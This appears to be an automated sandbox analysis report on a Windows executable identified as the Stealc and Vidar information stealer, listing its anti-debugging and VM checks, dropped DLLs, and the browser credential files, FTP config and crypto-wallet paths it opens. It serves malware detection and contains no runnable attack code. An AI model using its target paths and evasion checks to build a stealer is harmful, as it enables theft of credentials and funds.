Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120BED second address: 5120C08 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5028523957h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D91B85 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F331A5 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F31BAC instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F5FA89 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F47B69 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe TID: 4268

Thread sleep time: -30015s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B44910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00B44910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B3DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00B3DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B3E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00B3E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B3F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00B3F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B43EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00B43EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B316D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00B316D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B3BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00B3BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B438B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00B438B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B3ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00B3ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B44570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00B44570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B3DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00B3DE10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B31160 GetSystemInfo,ExitProcess,

0_2_00B31160

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: IJEGDBGD.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: IJEGDBGD.0.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: IJEGDBGD.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: IJEGDBGD.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: IJEGDBGD.0.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: IJEGDBGD.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000002.2297156938.000000000152A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2297156938.0000000001547000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2297156938.0000000001512000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: IJEGDBGD.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: IJEGDBGD.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: IJEGDBGD.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: IJEGDBGD.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: IJEGDBGD.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: IJEGDBGD.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: IJEGDBGD.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: IJEGDBGD.0.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: IJEGDBGD.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: IJEGDBGD.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: IJEGDBGD.0.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: IJEGDBGD.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: IJEGDBGD.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: IJEGDBGD.0.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: IJEGDBGD.0.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: IJEGDBGD.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: file.exe, 00000000.00000002.2297156938.00000000014CE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareb
Source: IJEGDBGD.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: IJEGDBGD.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: IJEGDBGD.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: IJEGDBGD.0.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: IJEGDBGD.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, 00000000.00000002.2297156938.00000000014CE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: IJEGDBGD.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: IJEGDBGD.0.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: IJEGDBGD.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: IJEGDBGD.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13516
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-14706
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13519
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13570
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13530
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13538

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B345C0 VirtualProtect ?,00000004,00000100,00000000

0_2_00B345C0

Source: C:\Users\user\Desktop\file.exe

0_2_00B49860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B49750 mov eax, dword ptr fs:[00000030h]

0_2_00B49750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B478E0 GetProcessHeap,RtlAllocateHeap,GetComputerNameA,

0_2_00B478E0

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 6516, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B49600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00B49600

Source: file.exe	Binary or memory string: ~9Program Manager
Source: file.exe, 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 9Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00B47B90

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B47980 GetProcessHeap,RtlAllocateHeap,GetLocalTime,wsprintfA,

0_2_00B47980

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B47850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00B47850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B47A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00B47A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.b30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2297156938.00000000014CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2019693058.0000000004FA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6516, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6516, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000000.00000002.2297156938.0000000001547000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\simple-storage.json
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: inance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger L
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
